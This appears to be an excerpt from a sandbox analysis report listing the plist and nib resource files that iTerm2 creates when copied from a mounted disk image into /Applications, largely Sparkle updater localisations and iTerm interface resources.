Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	XML plist file created: /Applications/iTerm.app/Contents/Frameworks/SearchableComboListView.framework/Versions/A/_CodeSignature/CodeResources	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	XML plist file created: /Applications/iTerm.app/Contents/Frameworks/SearchableComboListView.framework/Versions/A/Resources/Info.plist	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/SearchableComboListView.framework/Versions/A/Resources/SearchableComboView.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	XML plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/_CodeSignature/CodeResources	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ar.lproj/SUAutomaticUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ar.lproj/SUUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ar.lproj/SUUpdatePermissionPrompt.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	XML plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/_CodeSignature/CodeResources	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	XML plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Info.plist	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/SUStatus.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/cs.lproj/SUAutomaticUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/cs.lproj/SUUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/cs.lproj/SUUpdatePermissionPrompt.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/da.lproj/SUAutomaticUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/da.lproj/SUUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/da.lproj/SUUpdatePermissionPrompt.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/de.lproj/SUAutomaticUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/de.lproj/SUUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/de.lproj/SUUpdatePermissionPrompt.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/el.lproj/SUAutomaticUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/el.lproj/SUUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/el.lproj/SUUpdatePermissionPrompt.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/en.lproj/SUAutomaticUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/en.lproj/SUUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/en.lproj/SUUpdatePermissionPrompt.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/es.lproj/SUAutomaticUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/es.lproj/SUUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/es.lproj/SUUpdatePermissionPrompt.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/fi.lproj/SUAutomaticUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/fi.lproj/SUUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/fi.lproj/SUUpdatePermissionPrompt.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/fr.lproj/SUAutomaticUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/fr.lproj/SUUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/fr.lproj/SUUpdatePermissionPrompt.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/hr.lproj/SUAutomaticUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/hr.lproj/SUUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/hr.lproj/SUUpdatePermissionPrompt.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/hu.lproj/SUAutomaticUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/hu.lproj/SUUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/hu.lproj/SUUpdatePermissionPrompt.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	XML plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Info.plist	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/is.lproj/SUAutomaticUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/is.lproj/SUUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/is.lproj/SUUpdatePermissionPrompt.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/it.lproj/SUAutomaticUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/it.lproj/SUUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/it.lproj/SUUpdatePermissionPrompt.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ja.lproj/SUAutomaticUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ja.lproj/SUUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ja.lproj/SUUpdatePermissionPrompt.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ko.lproj/SUAutomaticUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ko.lproj/SUUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ko.lproj/SUUpdatePermissionPrompt.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/nb.lproj/SUAutomaticUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/nb.lproj/SUUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/nb.lproj/SUUpdatePermissionPrompt.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/nl.lproj/SUAutomaticUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/nl.lproj/SUUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/nl.lproj/SUUpdatePermissionPrompt.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/pl.lproj/SUAutomaticUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/pl.lproj/SUUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/pl.lproj/SUUpdatePermissionPrompt.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/pt_BR.lproj/SUAutomaticUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/pt_BR.lproj/SUUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/pt_BR.lproj/SUUpdatePermissionPrompt.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/pt_PT.lproj/SUAutomaticUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/pt_PT.lproj/SUUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/pt_PT.lproj/SUUpdatePermissionPrompt.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ro.lproj/SUAutomaticUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ro.lproj/SUUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ro.lproj/SUUpdatePermissionPrompt.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ru.lproj/SUAutomaticUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ru.lproj/SUUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ru.lproj/SUUpdatePermissionPrompt.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/sk.lproj/SUAutomaticUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/sk.lproj/SUUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/sk.lproj/SUUpdatePermissionPrompt.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/sl.lproj/SUAutomaticUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/sl.lproj/SUUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/sl.lproj/SUUpdatePermissionPrompt.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	XML plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/SUModelTranslation.plist	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/SUStatus.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/sv.lproj/SUAutomaticUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/sv.lproj/SUUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/sv.lproj/SUUpdatePermissionPrompt.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/th.lproj/SUAutomaticUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/th.lproj/SUUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/th.lproj/SUUpdatePermissionPrompt.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/tr.lproj/SUAutomaticUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/tr.lproj/SUUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/tr.lproj/SUUpdatePermissionPrompt.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/uk.lproj/SUAutomaticUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/uk.lproj/SUUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/uk.lproj/SUUpdatePermissionPrompt.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/zh_CN.lproj/SUAutomaticUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/zh_CN.lproj/SUUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/zh_CN.lproj/SUUpdatePermissionPrompt.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/zh_TW.lproj/SUAutomaticUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/zh_TW.lproj/SUUpdateAlert.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/zh_TW.lproj/SUUpdatePermissionPrompt.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	XML plist file created: /Applications/iTerm.app/Contents/Info.plist	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/AboutWindow.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/AdvancedWorkingDirectoryWindow.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/Autocomplete.nib/keyedobjects-101400.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/Autocomplete.nib/keyedobjects-110000.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/BulkCopyProfilePreferences.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	XML plist file created: /Applications/iTerm.app/Contents/Resources/ColorPresets.plist	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/CommandHistoryPopup.nib/keyedobjects-101400.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/CommandHistoryPopup.nib/keyedobjects-110000.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	XML plist file created: /Applications/iTerm.app/Contents/Resources/DefaultBookmark.plist	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	XML plist file created: /Applications/iTerm.app/Contents/Resources/DefaultGlobalKeyMap.plist	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	XML plist file created: /Applications/iTerm.app/Contents/Resources/DefaultPointerActions.plist	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/DirectoriesPopup.nib/keyedobjects-101400.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/DirectoriesPopup.nib/keyedobjects-110000.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	XML plist file created: /Applications/iTerm.app/Contents/Resources/EncodingsWithLowerCase.plist	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/FindView.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/InstantReplay.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	XML plist file created: /Applications/iTerm.app/Contents/Resources/InternetAccessPolicy.plist	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermActionsEditingViewController.nib/keyedobjects-101400.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermActionsEditingViewController.nib/keyedobjects-110000.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermAddTriggerViewController.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermAdvancedGPUSettingsWindowController.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermBadgeConfigurationWindowController.nib	Jump to dropped file
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	Binary plist file created: /Applications/iTerm.app/Contents/Resources/iTermBuildingScriptWindowController.nib	Jump to dropped file
